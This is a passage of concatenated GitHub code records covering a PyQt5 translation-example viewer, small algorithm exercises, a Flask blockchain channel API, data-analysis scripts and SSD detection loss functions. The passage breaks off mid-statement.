self.button.setIcon(QIcon('icons/star2.png'))\n        else:\n            self.button.setIcon(QIcon('icons/star.png'))\n            \n    \n\nclass Window(QMainWindow):\n    \"\"\"\n    __init__ : Initialize the window\n    This function sets up the window's properties such as title, size, and it calls the initUI() function. \n    \"\"\" \n    \n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle('My Reverso App with Python/PyQT5')\n        \n        self.width, self.height = SIZE, int(SIZE*.9)\n        self.resize(self.width, self.height)\n        self.center_window()\n        \n        self.list_sentences = []\n        self.list_labels = []\n        \n        self.initUI()\n        \n        \n        self.source_lang = \"German\"\n        self.target_lang = \"English\"\n        self.loader = examples_loader.examples_loader(\\\n            source = self.source_lang , target =self.target_lang)\n        \n    \n    \"\"\"\n    center_window : center the window on the screen\n    This function centers the window on the user's screen by calculating the coordinates \n    of the center of the screen and then placing the window there.    \n    \"\"\"\n\n    def center_window(self):   \n        # gros problème après maj de Gnome sur Wayland. Ne fonctionne pas\n\n        desktop = QDesktopWidget()\n        geometry = desktop.screenGeometry()\n       # print(geometry.width(), geometry.height())\n        x0 = geometry.width() // 2 - self.width // 2\n        y0 = geometry.height() // 2 - self.height // 2\n        \n        self.setGeometry(x0, y0, self.width, self.height) \n       # print(self.x(), self.y())\n      #  self.setFixedSize(self.width, self.height)\n      \n    \"\"\"\n    launch_search : launch the search\n    This function retrieves the text from the search bar, calls the retrieve function from the examples_loader \n    class to get a list of sentences and then passes that list to the load_sentences function.\n    \"\"\"\n \n    def launch_search(self):\n        text = self.search_bar.text()\n        if (text): # eviter barre vide\n            list_sentences = self.loader.retrieve(text)\n            self.load_sentences(list_sentences)\n        \n\n    \"\"\"\n    load_sentences : load the sentences\n     This function takes a list of sentences and adds labels to the scroll layout for each sentence. \n     It also sets the font of the labels to either bold or regular based on the language. \n    \"\"\"\n    \n    def load_sentences(self, list_sentences):\n        self.list_sentences = []\n        self.list_sentences = list_sentences \n        \n        clear_layout(self.scroll_layout)         \n\n        assert(len(self.list_sentences)%2 == 0)\n        for i in range(0, len(self.list_sentences), 2):\n            hl = Result_bar(self.list_sentences[i], \\\n                          self.list_sentences[i+1])\n    \n            self.scroll_layout.addLayout(hl)\n\n    \n    def react_buttons(self):\n        name = self.sender().name\n        update_flag = False\n        if name in [\"English\", \"French\", \"German\"] and name != self.source_lang:\n            self.target_lang = name\n            update_flag = True\n        if name == \"reverse\":\n            self.target_lang, self.source_lang = self.source_lang, self.target_lang\n            update_flag = True\n        if update_flag:\n            self.loader.update_param(self.source_lang, self.target_lang)\n            self.langSel_bar.update_lang(self.source_lang, self.target_lang)\n            self.launch_search()\n      \n\n    \"\"\"\n    initUI : initialize the user interface\n    This function sets up all of the elements of the user interface such as the search bar, scroll area, etc.\n    \"\"\"\n    def initUI(self):\n      #  self.setStyleSheet(\"QMainWindow {background-color: #AAAAAA;}\")\n        self.main_widget = QWidget(self)\n        self.setCentralWidget(self.main_widget)\n        self.main_layout = QVBoxLayout(self.main_widget)\n\n        ######################################################\n        \n        self.search_bar = QLineEdit()\n        self.search_bar.setPlaceholderText('Search')\n        self.search_bar.setMinimumHeight(40)\n        self.search_button = QPushButton(\"\")\n        self.search_button.setMinimumSize(40,40)\n        self.search_button.setIcon(QIcon('icons/search.png'))\n        self.search_button.setIconSize(QSize(35, 35))\n        self.search_button.clicked.connect(self.launch_search)\n        self.search_bar.returnPressed.connect(self.launch_search)\n        h_box = QHBoxLayout()\n        h_box.addWidget(self.search_bar)\n        h_box.addWidget(self.search_button)\n        self.main_layout.addLayout(h_box)\n        \n        ######################################################\n        \n        self.langSel_bar = LangSel_bar()\n        \n        B_dict = self.langSel_bar.B_dict\n        for b in B_dict:\n            B_dict[b].clicked.connect(self.react_buttons)\n                \n        self.main_layout.addLayout(self.langSel_bar)\n        ######################################################\n        \n        self.scroll_widget = QWidget(self)\n        self.main_layout.addWidget(self.scroll_widget)\n        self.scroll_layout = QVBoxLayout(self.scroll_widget)\n        self.scroll_layout.setSpacing(10) \n\n        self.load_sentences(self.list_sentences)\n\n        self.scroll_area = QScrollArea(self)\n        self.scroll_area.setWidget(self.scroll_widget)\n        self.scroll_area.setWidgetResizable(True)\n\n        self.scroll_layout_2 = QHBoxLayout(self.main_widget)\n        self.scroll_layout_2.addWidget(self.scroll_area)\n        self.main_layout.addLayout(self.scroll_layout_2)\n        \n\n    \"\"\"\n    quitApp : quit the application\n    This function quits the application when called.\n    \"\"\"\n    \n    def quitApp(self):\n        QCoreApplication.instance().quit()\n\n\n\n##############################################################################\n\nimport sys\nfrom PyQt5.QtWidgets import  QApplication\n#import translate_window\n\n# ATTENTION LORS D'UN COPIE COLLE LA WINDOW N'est plus la même si importation\n\n\napp=0 # necessaire crash\napp = QApplication([])\napp.setStyle('Fusion')\napp.aboutToQuit.connect(app.deleteLater)\ndow = Window()\n\n\ndow.show()\n\n\nsys.exit(app.exec())\napp.exit()\n\n\n","repo_name":"LeviMe/LinguoTool","sub_path":"reverso_window.py","file_name":"reverso_window.py","file_ext":"py","file_size_in_byte":11660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73220796580","text":"\"\"\"\n输入一个链表，反转链表后，输出新链表的表头\n输入一个链表的意思就是输入一个表头\n\"\"\"\n\n\nclass Node:\n    \"\"\"节点类\"\"\"\n\n    def __init__(self, value):\n        self.value = value\n        self.next = None\n\n\nclass Solution:\n    def reverse(self, head_node):\n        pre = None\n        cur = head_node\n        while cur:\n            next = cur.next  # 要预先存储一个next，防止进不去下一个\n            cur.next = pre  # 反向\n            pre = cur  # 前进一个\n            cur = next  # 前进一个\n        return pre\n\n\nif __name__ == '__main__':\n    s = Solution()\n    # 手动创建链表,做一个简单的测试\n    head = Node(100)\n    head.next = Node(200)\n    head.next.next = Node(300)\n    node = s.reverse(head)\n    print(node.value)\n","repo_name":"chaofan-zheng/python_learning_code","sub_path":"month05/DataStructure/day02_course/day02_code/02_reverse.py","file_name":"02_reverse.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25608235869","text":"# coding=utf-8\n\n'''\nGiven two strings representing two complex numbers.\n\nYou need to return a string representing their multiplication. Note i2 = -1 according to \nthe definition.\n\nExample 1:\nInput: \"1+1i\", \"1+1i\"\nOutput: \"0+2i\"\nExplanation: (1 + i) * (1 + i) = 1 + i2 + 2 * i = 2i, and you need convert it to the \nform of 0+2i.\nExample 2:\nInput: \"1+-1i\", \"1+-1i\"\nOutput: \"0+-2i\"\nExplanation: (1 - i) * (1 - i) = 1 + i2 - 2 * i = -2i, and you need convert it to the \nform of 0+-2i.\nNote:\n\nThe input strings will not have extra blank.\nThe input strings will be given in the form of a+bi, where the integer a and b will \nboth belong to the range of [-100, 100]. And the output should be also in this form.\n'''\n\n'''\n公司：Amazon\n'''\n\nclass Solution(object):\n    def complexNumberMultiply(self, a, b):\n        \"\"\"\n        :type a: str\n        :type b: str\n        :rtype: str\n        \"\"\"\n        real_a, vir_a = a.split('+')\n        real_b, vir_b = b.split('+')\n        \n        real_a, real_b = int(real_a), int(real_b)\n        vir_a, vir_b = int(vir_a[:len(vir_a) - 1]), int(vir_b[:len(vir_b) - 1])\n        \n        real_res = real_a * real_b - vir_a * vir_b\n        vir_res = real_a * vir_b + real_b * vir_a\n        \n        return str(real_res) + '+' + str(vir_res) + 'i'","repo_name":"sindwerra/Algorithms","sub_path":"Leetcode/Math/#537-Complex Number Multiplication/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"35"}
{"seq_id":"3899548425","text":"from setuptools import setup, find_packages\nimport sys, os\n\nversion = '0'\n\nsetup(name='ZFSpy',\n      version=version,\n      description=\"Python bindings for ZFS\",\n      long_description=\"\"\"\\\n\"\"\",\n      classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n      keywords='zfs python',\n      author='Chen Zheng',\n      author_email='nkchenz@gmail.com',\n      url='http://github.com/nkchenz/zfspy/',\n      license='GPL v2',\n      packages=find_packages(),\n      include_package_data=True,\n      zip_safe=False,\n      install_requires=[\n          # -*- Extra requirements: -*-\n      ],\n      entry_points=\"\"\"\n      # -*- Entry points: -*-\n      \"\"\",\n      )\n\n","repo_name":"nkchenz/zfspy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"10421776226","text":"import ctypes\r\nimport sys\r\nimport os\r\n\r\ncurPath = os.path.split(__file__)[0]\r\ncurPath = os.path.split(curPath)[0]\r\nexe = os.path.join(curPath, \"NiuniuCapture.exe\")\r\n\r\n\r\ndef capture():\r\n    return os.system(\"{} niuniu,'',0,0,0,0,0,0\".format(exe))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    capture()\r\n","repo_name":"Rapisurazurite/ocr_tools","sub_path":"tools/capture3.py","file_name":"capture3.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25826510455","text":"from Feature_Extraction import *\nfrom Feature_suspiciousness_pole import *\nfrom priors import *\nfrom homophily_matrix import *\nfrom SpEagle import *\nimport time\n\n\n\n\n\ndef main():\n\n\n    metadata = \"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/data/raw/metadata\"\n    review_content = \"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/data/raw/reviewContent\"\n\n\n    #read the metadata file:\n    userId, prodId, date, ratings, recommend = read_metadata(path = metadata,N = 1000)\n\n    #read the reviewcontent file\n    review_text = read_review_content(review_content,N = 1000, sep='\\t')\n\n\n    #review_words number of words in each review. Seperately calculated and saved.\n    #to create this, run wordcount_reviews file..\n    review_words = np.loadtxt(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/data/raw/review_words\")\n\n    start = time.time()\n\n    #comment after features are built.\n\n    #read user features\n    # make_user_features(userId,prodId,date,ratings,recommend,review_words,review_text)\n    # end = time.time()\n    # print(\"time taken to build user features:\",end-start)\n\n    #read product features\n    start = time.time()\n\n    # #read user features\n    # make_prod_features(userId,prodId,date,ratings,recommend,review_words,review_text)\n    # end = time.time()\n    # print(\"time taken to build user features:\",end-start)\n\n    # read review features.\n    #sandy is yet to give..\n\n\n    #read adjacency list.\n    adjlist = np.loadtxt(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/data/raw/reviewGraph\")\n\n\n    #reading our features.[this wont work for 6lakh rows?]\n    user_features = pd.read_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/feature_csvs/user_features_1.csv\")\n    prod_features = pd.read_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/feature_csvs/prod_features.csv\")\n    #review_priors = pd.read_csv(\"\")\n\n\n    #Calculating priors.\n\n\n    #calculate priors for users.\n    user_priors = pd.DataFrame()\n    uprior = prior(user_features[user_features.columns[1:]],isHighUser)\n    user_priors.insert(0,\"1-prior\",1-uprior)\n    user_priors.insert(1,\"prior\",uprior)\n    user_priors.to_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/prior_csvs/user_priors.csv\",index=None,header=True)\n\n\n    #calculate prior for products\n    prod_priors = pd.DataFrame()\n    pprior = prior(prod_features[prod_features.columns[1:]],isHighProd)\n    prod_priors.insert(0,\"1-prior\",1-pprior)\n    prod_priors.insert(1,\"prior\",pprior)\n    prod_priors.to_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/prior_csvs/prod_priors.csv\",index=None,header=True)\n\n\n    #calculate priors for reviews -\n    review_priors = pd.DataFrame()\n    #rprior = prior(review_features[review_features.columns[1:]],isHighReview)\n    #review_priors.insert(0,\"1-prior\",1-rprior)\n    #review_priors.insert(1,\"prior\",rprior)\n    #review_priors.to_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/prior_csvs/review_priors.csv\",index=None,header=True)\n\n\n    #read these before calling..speagle : upriors.csv,ppriors.csv,rpriors.csv\n    #upriors = pd.read_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/prior_csvs/user_priors.csv\")\n    #ppriors = pd.read_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/prior_csvs/prod_priors.csv\")\n    #rpriors =pd.read_csv(\"/Users/anaghakaranam/Desktop/Opinion_Spam/coding-playground/prior_csvs/review_priors.csv\")\n    #Calling the SP Eagle function.\n\n    #beliefsUser, beliefsProd, beliefsReview = SpEagle(adjlist, upriors, ppriors, rpriors, edgep, 100)\n\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"viserion-999/SpEagle","sub_path":"project/runSpEagle.py","file_name":"runSpEagle.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72907712742","text":"import hashlib\nimport json\nimport sys\nfrom time import time\n\nimport requests\nfrom flask import Flask, jsonify, request\n\nimport black\nimport channel\nimport authority\n\napp = Flask(__name__)\n\n@app.route('/join', methods=['POST'])\ndef join_channel():\n    values = request.get_json()\n\n    required = ['remote_node', 'local_node', 'chan']\n    if not all(k in values for k in required):\n        return \"Missing required fields\", 400\n\n    remote_node = values['remote_node']\n    local_node = values['local_node']\n    chan = values['chan']\n    data = {'nodes': [local_node] }\n    response = requests.post(\n        f'{remote_node}/{chan}/nodes/register',\n        data = json.dumps(data),\n        headers={'Content-Type': 'application/json'}\n    )\n    body = response.json()\n    chan_info = body['channel']\n\n    # manually cloning the channel? gross\n    chan = channel.Channel(chan_info['name'])\n    chan.created_at = chan_info['created_at']\n    chan.ref = chan_info['ref']\n    # TODO: clone all registered nodes on remote machine\n    chan.chain.register_node(remote_node)\n\n    black.CHANNELS[chan.ref] = chan\n    # TODO: return a better response than just \"OK\"\n    return jsonify({'message': \"OK\"})\n\n\n@app.route('/<chan>/nodes/register', methods=['POST'])\ndef register_nodes(chan):\n    values = request.get_json()\n\n    if values is None:\n        return \"Error: Please supply a valid list of nodes\", 400\n\n    required = ['nodes']\n    if not all(k in values for k in required):\n        return \"Error: Please supply a valid list of nodes\", 400\n\n    nodes = values.get('nodes')\n    if nodes is None:\n        return \"Error: Please supply a valid list of nodes\", 400\n\n    for node in nodes:\n        black.CHANNELS[chan].chain.register_node(node)\n\n    response = {\n        'message': 'New nodes have been added',\n        'total_nodes': list(black.CHANNELS[chan].chain.nodes),\n        'channel': {\n            'name': black.CHANNELS[chan].name,\n            'ref': black.CHANNELS[chan].ref,\n            'created_at': black.CHANNELS[chan].created_at,\n        }\n    }\n    return jsonify(response), 201\n\n\n@app.route('/<chan>/nodes/resolve', methods=['GET'])\ndef consensus(chan):\n    replaced = black.CHANNELS[chan].chain.resolve_conflicts(chan)\n    authority = black.CHANNELS[chan].chain.authority.votes\n    chain = black.CHANNELS[chan].chain.chain\n\n    if replaced:\n        response = {\n            'message': 'Our chain was replaced',\n            'new_chain': chain,\n            'new_authority': [e.__dict__ for e in authority],\n        }\n    else:\n        response = {\n            'message': 'Our chain is authoritative',\n            'chain': chain,\n            'authority': [e.__dict__ for e in authority],\n        }\n\n    return jsonify(response), 200\n\n\n@app.route('/<chan>/transactions/new', methods=['POST'])\ndef new_transaction(chan):\n    values = request.get_json()\n\n    # Check that the required fields are in the POST'ed data\n    required = ['message', 'pub_key', 'signature']\n    if not all(k in values for k in required):\n        return 'Missing values', 400\n\n    # Create a new Transaction\n    index = black.CHANNELS[chan].chain.new_transaction(\n        values['pub_key'], values['signature'], values['message']\n    )\n\n    response = {'message': f'Transaction will be added to Block {index}'}\n    return jsonify(response), 201\n\n\n@app.route('/<chan>/votes/new', methods=['POST'])\ndef new_vote(chan):\n    values = request.get_json()\n\n    # Check that the required fields are in the POST'ed data\n    required = ['vote', 'pub_key', 'signature']\n    if not all(k in values for k in required):\n        return 'Missing values', 400\n\n    # Create a new vote\n    vote = authority.Vote(values['vote'], values['pub_key'], values['signature'])\n    if black.CHANNELS[chan].chain.authority.vote(vote):\n        response = {'message': f'Vote added'}\n        return jsonify(response), 201\n    else:\n        return jsonify({'message': 'No authority or bad signature or bad last sig reference'}, 401)\n\n\n\n@app.route('/<chan>/chain', methods=['GET'])\ndef full_chain(chan):\n    chain = black.CHANNELS[chan].chain.chain\n    authority = black.CHANNELS[chan].chain.authority.votes\n    response = {\n        'messages': {\n            'chain': chain,\n            'length': len(chain),\n        },\n        'authority': {\n            'chain': [e.__dict__ for e in authority],\n            'length': len(authority),\n        },\n    }\n    return jsonify(response), 200\n\n\n@app.route('/channels/new', methods=['POST'])\ndef new_channel():\n    values = request.get_json()\n\n    required = ['name']\n    if not all(k in values for k in required):\n        return 'Missing values', 400\n\n    chan = channel.Channel(values['name'])\n    black.CHANNELS[chan.ref] = chan\n\n    response = {'channel': chan.ref}\n    return jsonify(response), 200\n\n\n@app.route('/channels')\ndef list_channels():\n    return jsonify(black.CHANNELS), 200\n\n\n@app.route('/channels/<chan>')\ndef list_channel(chan):\n    return jsonify(black.CHANNELS[chan]), 200\n\n\n","repo_name":"cbarraford/black","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11060678239","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors\nfrom mpl_toolkits.axes_grid1.inset_locator import mark_inset\nfrom scipy import interpolate\nfrom scipy.stats import gaussian_kde\n\n\"\"\"\n这个文件用来绘制前后性能下降图\n\"\"\"\nname = np.array(['SECOND', 'PointPillars', 'Part-$A^2$', 'PV-RCNN', 'CenterPoint', 'Voxel R-CNN',\n                 'PointRCNN', '3DSSD', '3DSSD-SASA', 'IA-SSD', 'Det6D'])\n\n\nskitti_ap = np.array([37.23, 34.10, 36.92, 37.25, 36.50, 37.50,\n                      39.11, 37.01, 37.28, 39.55, 73.55])\nkitti_ap = np.array([76.48, 77.98, 79.47, 83.69, 79.48, 84.52,\n                     78.63, 79.45, 84.80, 79.57, 84.41])\ndrap = kitti_ap - skitti_ap\nsorted_idx = np.argsort(drap)\nname = name[sorted_idx]\nskitti_ap = skitti_ap[sorted_idx]\nkitti_ap = kitti_ap[sorted_idx]\ndrap = drap[sorted_idx\n]\nwidth = 0.6\n\nfig = plt.figure(figsize=(6.4 * 1.8, 4.8 * 0.9))\nax = plt.axes()\nax.set_facecolor('#E9E9F1')\nplt.ylabel('$AP_{R40}@0.7$',fontsize=12)\nplt.xlabel('the names of the detectors',fontsize=12)\nplt.ylim([0, 100])\nx = np.arange(len(name))\np1 = plt.bar(x, height=kitti_ap, width=width, label='KITTI', color='#C1A387')\np2 = plt.bar(x, height=skitti_ap, width=width, label='SlopedKITTI', color='#F1BE96')\nplt.legend(loc='lower right')\nplt.legend(loc='upper right')\nax.bar_label(p1, padding=-15, fmt='%2.2f',fontsize=11)\nax.bar_label(p2, padding=-15, fmt='%2.2f',fontsize=11)\nax.set_xticks(x, name,fontsize=11)\nplt.yticks(fontsize=12)\nplt.tight_layout()\nplt.show()\n\n# fig = plt.figure(figsize=(6.4 * 1.8, 4.8 * 0.9))\n# ax1 = plt.axes([0.05, 0.5, 0.9, 0.4])\n# ax2 = plt.axes([0.05, 0.1, 0.9, 0.4])\n# ax1.set_facecolor('#E9E9F1')\n# ax2.set_facecolor('#E9E9F1')\n# x = np.arange(len(name))\n# p1 = ax1.bar(x, height=drap, width=width, label='KITTI', color='#C1A387')\n# p2 = plt.bar(x, height=skitti_ap, width=width, label='SlopedKITTI', color='#F1BE96')\n# plt.legend(loc='lower right')\n#\n# ax1.bar_label(p1, padding=3)\n# # ax.bar_label(p2, padding=3)\n# ax1.set_xticks(x, name)\n# plt.tight_layout()\n# plt.ylim([0, 100])\n#\n# ax2.invert_yaxis()\n# plt.show()\n","repo_name":"HITSZ-NRSL/De6D","sub_path":"core/tools/experiments/ap_comparison.py","file_name":"ap_comparison.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"35"}
{"seq_id":"5514417294","text":"import csv\r\nfrom genericpath import isfile\r\nfrom tokenize import Ignore\r\nimport pandas as pd\r\nimport json\r\nimport networkx as nx\r\nimport plotly.graph_objs as go\r\nimport matplotlib.pyplot as plt\r\nimport itertools\r\nimport pickle\r\nfrom metrics import *\r\n##for pkl file###\r\n#f = \"bitnami_containers\"\r\n\r\n\r\ndef create_contributor_dict(processed_data):\r\n    contributor_dict = {}\r\n    for a in range(0,len(processed_data)):\r\n        contributor1 = processed_data[a][0]\r\n        try:\r\n            c1_labels =  processed_data[a][1]['labels'].keys()\r\n        except Exception as e:\r\n            if('labels' not in processed_data[a][1].keys()):\r\n                c1_labels = ''\r\n            else:\r\n                print(e)    \r\n        try:\r\n            c1_followers =  processed_data[a][1]['followers']\r\n        except Exception as e:\r\n            \r\n            if('followers' not in processed_data[a][1].keys()):\r\n                c1_followers = '' \r\n            else:\r\n                print(e)           \r\n        # break\r\n        for b in range(a+1, len(processed_data)):\r\n            contributor2 = processed_data[b][0]\r\n            if(contributor1!=contributor2):\r\n                try:\r\n                    c2_labels =  processed_data[b][1]['labels'].keys()\r\n                except Exception as e:\r\n                    if('labels' not in processed_data[b][1].keys()):\r\n                        c2_labels = ''\r\n                        # print(len(c2_labels))\r\n                    else:\r\n                        print(e)    \r\n                try:\r\n                    c2_followers =  processed_data[b][1]['followers']\r\n                except Exception as e:\r\n                    if('followers' not in processed_data[b][1].keys()):\r\n                        c2_followers = '' \r\n                        # print(len(c2_followers))\r\n                    else:\r\n                        print(e)           \r\n                common_followers = set(c1_followers)&set(c2_followers)\r\n                common_labels = set(c1_labels)&set(c2_labels) \r\n                c1c2 = str(max(contributor1, contributor2))+\"_\"+str(min(contributor1, contributor2))\r\n                if((c1c2 not in contributor_dict) and (len(common_followers)!=0 or len(common_labels)!=0) \r\n                and (len(c1_labels)!=0 and len(c2_labels)!=0) and (len(c1_followers)!=0 and len(c2_followers)!=0)):\r\n                    contributor_dict[c1c2]={}\r\n                    contributor_dict[c1c2]['contributor1'] = contributor1\r\n                    contributor_dict[c1c2]['contributor2'] = contributor2\r\n                    contributor_dict[c1c2]['common_labels'] = list(common_labels)\r\n                    contributor_dict[c1c2]['common_followers'] = list(common_followers)\r\n                    contributor_dict[c1c2]['clc'] = len(common_labels)\r\n                    contributor_dict[c1c2]['cfc'] = len(common_followers)\r\n                    contributor_dict[c1c2]['tot_labels_c1'] = len(c1_labels)\r\n                    contributor_dict[c1c2]['tot_labels_c2'] = len(c2_labels)\r\n                    contributor_dict[c1c2]['tot_followers_c1'] = len(c1_followers)\r\n                    contributor_dict[c1c2]['tot_followers_c2'] = len(c2_followers)\r\n                    contributor_dict[c1c2]['c1_labels'] = (c1_labels)\r\n                    contributor_dict[c1c2]['c2_labels'] = (c2_labels)\r\n                    contributor_dict[c1c2]['c1_followers'] = (c1_followers)\r\n                    contributor_dict[c1c2]['c2_followers'] = (c2_followers)\r\n                    contributor_dict[c1c2]['no'] = len(common_followers)/(len(c1_followers)+len(c2_followers))\r\n                    contributor_dict[c1c2]['sim'] = len(common_labels)/(len(c1_labels)+len(c2_labels))\r\n    return contributor_dict\r\n\r\nimport os\r\nimport pandas as pd\r\nfolder = \"to_copy\"\r\nwith open('nosm_results.csv','w') as csvfile:\r\n    csvwriter = csv.writer(csvfile)\r\n    csvwriter.writerow(['Repo','Spearman', 'Pearson', 'Spearman1','Pearson1','NO', 'SM'])\r\n    for filename in os.listdir(folder):\r\n        print(filename)\r\n        f = os.path.join(folder, filename)\r\n        if os.path.isfile(f):\r\n            data = {}\r\n            with open(f, 'rb') as ff:\r\n                data = pickle.load(ff)\r\n\r\n\r\n            processed_data = []\r\n            for contributor in data.keys():\r\n                processed_data.append([contributor, data[contributor]])\r\n\r\n            contri_dict = create_contributor_dict(processed_data)\r\n            new_df = pd.DataFrame(columns=['id','no','sim'])\r\n            i = 0\r\n            for each in contri_dict:\r\n                new_df.loc[i] = [each, contri_dict[each]['no'], contri_dict[each]['sim']]\r\n                i = i+1\r\n            # print(new_df)       \r\n            sp_corr = new_df['no'].corr(new_df['sim'], method='spearman')\r\n            pearson_corr = new_df['no'].corr(new_df['sim'])\r\n            sp_corr1 = new_df['sim'].corr(new_df['no'], method='spearman')\r\n            pearson_corr1 = new_df['sim'].corr(new_df['no'])\r\n            print(new_df['no'].corr(new_df['sim'], method='spearman'))\r\n            print(new_df['no'].corr(new_df['sim']))\r\n            # NO(mean), SM(mean), NO(lowest) corresponding SM, NO(highest) corresponding SM, NO corresponding SM(highest), NO corresponding SM(lowest)\r\n            print(new_df.head())\r\n            csvwriter.writerow([filename, sp_corr,pearson_corr,sp_corr1,pearson_corr1, new_df['no'].mean(), new_df['sim'].mean()])\r\n","repo_name":"coolshr/MSR_submission_repo","sub_path":"neighborhood_similarity.py","file_name":"neighborhood_similarity.py","file_ext":"py","file_size_in_byte":5418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73142076579","text":"# -*- coding: utf-8 -*-\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom ..box import match, log_sum_exp\nfrom ..box import match_gious,bbox_overlaps_giou,decode\n\nclass FocalLoss(nn.Module):\n    \"\"\"\n        This criterion is a implemenation of Focal Loss, which is proposed in \n        Focal Loss for Dense Object Detection.\n\n            Loss(x, class) = - \\alpha (1-softmax(x)[class])^gamma \\log(softmax(x)[class])\n\n        The losses are averaged across observations for each minibatch.\n\n        Args:\n            alpha(1D Tensor, Variable) : the scalar factor for this criterion\n            gamma(float, double) : gamma > 0; reduces the relative loss for well-classified examples (p > .5), \n                                   putting more focus on hard, misclassified examples\n            size_average(bool): By default, the losses are averaged over observations for each minibatch.\n                                However, if the field size_average is set to False, the losses are\n                                instead summed for each minibatch.\n    \"\"\"\n    def __init__(self, class_num, alpha=None, gamma=2, size_average=True):\n        super(FocalLoss, self).__init__()\n        if alpha is None:\n            self.alpha = torch.ones(class_num, 1)\n        else:\n            self.alpha = alpha\n        self.gamma = gamma\n        self.class_num = class_num\n        self.size_average = size_average\n        print(self.gamma,self.alpha)\n    def forward(self, inputs, targets):\n        N = inputs.size(0)\n        C = inputs.size(1)\n        P = F.softmax(inputs,dim= 1)\n        class_mask = inputs.data.new(N, C).fill_(0)\n        #class_mask = Variable(class_mask)\n        ids = targets.view(-1, 1)\n        class_mask.scatter_(1, ids.data, 1.)\n\n        if inputs.is_cuda and not self.alpha.is_cuda:\n            self.alpha = self.alpha.cuda()\n        alpha = self.alpha[ids.data.view(-1)]\n\n        probs = (P*class_mask).sum(1).view(-1,1)\n\n        log_p = probs.log()\n\n        batch_loss = -alpha*(torch.pow((1-probs), self.gamma))*log_p \n\n        if self.size_average:\n            loss = batch_loss.mean()\n        else:\n            loss = batch_loss.sum()\n        return loss\n\n\nclass GiouLoss(nn.Module):\n    \"\"\"\n        This criterion is a implemenation of Giou Loss, which is proposed in \n        Generalized Intersection over Union Loss for: A Metric and A Loss for Bounding Box Regression.\n\n            Loss(loc_p, loc_t) = 1-GIoU\n\n        The losses are summed across observations for each minibatch.\n\n        Args:\n            size_sum(bool): By default, the losses are summed over observations for each minibatch.\n                                However, if the field size_sum is set to False, the losses are\n                                instead averaged for each minibatch.\n            predmodel(Corner,Center): By default, the loc_p is the Corner shape like (x1,y1,x2,y2)\n            The shape is [num_prior,4],and it's (x_1,y_1,x_2,y_2)\n            loc_p: the predict of loc\n            loc_t: the truth of boxes, it's (x_1,y_1,x_2,y_2)\n            \n    \"\"\"\n    def __init__(self,pred_mode = 'Center',size_sum=True,variances=None):\n        super(GiouLoss, self).__init__()\n        self.size_sum = size_sum\n        self.pred_mode = pred_mode\n        self.variances = variances\n    def forward(self, loc_p, loc_t,prior_data):\n        num = loc_p.shape[0] \n        \n        if self.pred_mode == 'Center':\n            decoded_boxes = decode(loc_p, prior_data, self.variances)\n        else:\n            decoded_boxes = loc_p\n        #loss = torch.tensor([1.0])\n        gious =1.0 - bbox_overlaps_giou(decoded_boxes,loc_t)\n        \n        loss = torch.sum(gious)\n     \n        if self.size_sum:\n            loss = loss\n        else:\n            loss = loss/num\n        return 5*loss\n\nclass MultiBoxLoss(nn.Module):\n    \"\"\"SSD Weighted Loss Function\n    Compute Targets:\n        1) Produce Confidence Target Indices by matching  ground truth boxes\n           with (default) 'priorboxes' that have jaccard index > threshold parameter\n           (default threshold: 0.5).\n        2) Produce localization target by 'encoding' variance into offsets of ground\n           truth boxes and their matched  'priorboxes'.\n        3) Hard negative mining to filter the excessive number of negative examples\n           that comes with using a large number of default bounding boxes.\n           (default negative:positive ratio 3:1)\n    Objective Loss:\n        L(x,c,l,g) = (Lconf(x, c) + αLloc(x,l,g)) / N\n        Where, Lconf is the CrossEntropy Loss and Lloc is the SmoothL1 Loss\n        weighted by α which is set to 1 by cross val.\n        Args:\n            c: class confidences,\n            l: predicted boxes,\n            g: ground truth boxes\n            N: number of matched default boxes\n        See: https://arxiv.org/pdf/1512.02325.pdf for more details.\n    \"\"\"\n\n    def __init__(self, cfg, overlap_thresh, prior_for_matching,\n                 bkg_label, neg_mining, neg_pos, neg_overlap, encode_target,\n                 use_gpu=True,loss_c = \"CrossEntropy\", loss_r = 'SmoothL1'):\n        super(MultiBoxLoss, self).__init__()\n        self.use_gpu = use_gpu\n\n        self.num_classes = cfg['num_classes']\n        self.threshold = overlap_thresh\n        self.background_label = 